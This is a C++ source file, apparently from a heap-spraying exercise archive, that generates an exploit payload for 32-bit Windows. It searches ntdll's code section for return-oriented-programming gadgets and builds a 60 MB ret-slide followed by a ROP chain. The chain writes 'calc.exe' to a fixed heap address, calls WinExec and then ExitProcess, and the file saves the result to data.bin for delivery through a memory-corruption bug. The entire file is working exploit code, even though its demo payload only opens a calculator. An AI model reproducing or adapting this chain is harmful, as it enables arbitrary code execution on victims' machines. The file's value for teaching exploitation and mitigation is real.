heap_spraying.zip/attack.cpp
#include <iostream>
#include <fstream>
#include <functional>
#include <Windows.h>
#include <boost/range/irange.hpp>
#pragma comment(lib, "OneCore_downlevel.lib")
std::pair<unsigned int, unsigned int> getTextArea(HMODULE module) {
const unsigned char* const baseAddr = reinterpret_cast<unsigned char*>(module == NULL ? ::GetModuleHandleW(NULL) : module);
const IMAGE_DOS_HEADER &mz = *reinterpret_cast<const IMAGE_DOS_HEADER*>(baseAddr);
const IMAGE_NT_HEADERS32 &pe = *reinterpret_cast<const IMAGE_NT_HEADERS32*>(baseAddr + mz.e_lfanew);
const IMAGE_SECTION_HEADER * const sectionHeaders = reinterpret_cast<const IMAGE_SECTION_HEADER *>(pe.FileHeader.SizeOfOptionalHeader + reinterpret_cast<unsigned int>(&pe.OptionalHeader));
for (const unsigned int i : boost::irange(0U, static_cast<unsigned int>(pe.FileHeader.NumberOfSections))) {
const IMAGE_SECTION_HEADER §ion = sectionHeaders[i];
if (reinterpret_cast<const char *>(section.Name) == std::string(".text")) {
return std::make_pair(
reinterpret_cast<unsigned int>(baseAddr + section.VirtualAddress),
reinterpret_cast<unsigned int>(baseAddr + section.VirtualAddress + section.SizeOfRawData));
}
}
return {};
}
unsigned int searchGadget(const unsigned int size, std::function<bool(const unsigned char *)> func) {
const std::pair<unsigned int, unsigned int> area = getTextArea(::GetModuleHandle("ntdll.dll"));
for (const unsigned int addr : boost::irange(area.first, area.second - (size - 1))) {
if (func(reinterpret_cast<const unsigned char *>(addr))) {
return addr;
}
}
return 0;
}
std::vector<unsigned char> build(const unsigned int padding, const unsigned int bufferAddress) {
std::vector<unsigned int> rop;
const unsigned int ret = searchGadget(3, [](auto mem){return mem[0] == 0xC3;});
const unsigned int movEaxEcx = searchGadget(3, [](auto mem){return mem[0] == 0x8B && mem[1] == 0xC1 && mem[2] == 0xC3;});
const unsigned int popEcx = searchGadget(2, [](auto mem){return mem[0] == 0x59 && mem[1] == 0xC3;});
const unsigned int movDwordPtrDsEaxEcx = searchGadget(3, [](auto mem){return mem[0] == 0x89 && mem[1] == 0x08 && mem[2] == 0xC3;});
for (unsigned int i = 0; i < 60 * 1024 * 1024 / sizeof(unsigned int); i++) {
rop.push_back(ret);
}
rop.push_back(popEcx);
rop.push_back(bufferAddress);
rop.push_back(movEaxEcx);
rop.push_back(popEcx);
rop.push_back(0x636C6163); // "calc"
rop.push_back(movDwordPtrDsEaxEcx);
rop.push_back(popEcx);
rop.push_back(bufferAddress + 4);
rop.push_back(movEaxEcx);
rop.push_back(popEcx);
rop.push_back(0x6578652E); // ".exe"
rop.push_back(movDwordPtrDsEaxEcx);
rop.push_back(popEcx);
rop.push_back(bufferAddress + 8);
rop.push_back(movEaxEcx);
rop.push_back(popEcx);
rop.push_back(0x00000000); // "\0"
rop.push_back(movDwordPtrDsEaxEcx);
rop.push_back(reinterpret_cast<unsigned int>(WinExec));
rop.push_back(ret);
rop.push_back(bufferAddress);
rop.push_back(SW_SHOW);
rop.push_back(reinterpret_cast<unsigned int>(ExitProcess));
rop.push_back(ret);
rop.push_back(255);
std::vector<unsigned char> result;
result.resize(padding);
const unsigned char * const begin = reinterpret_cast<const unsigned char *>(&rop[0]);
const unsigned char * const end = begin + rop.size() * 4;
result.insert(result.end(), begin, end);
return result;
}
void buildAndSave(const unsigned int padding, const unsigned int bufferAddress) {
std::vector<unsigned char> rop = build(padding, bufferAddress);
std::ofstream ofs("data.bin", std::ios::binary);
const unsigned int size = rop.size();
ofs.write(reinterpret_cast<const char *>(&size), sizeof(size));
ofs.write(reinterpret_cast<const char *>(&rop[0]), size);
ofs.close();
}
int main() {
buildAndSave(0, 0x03EE0000);
return 0;
}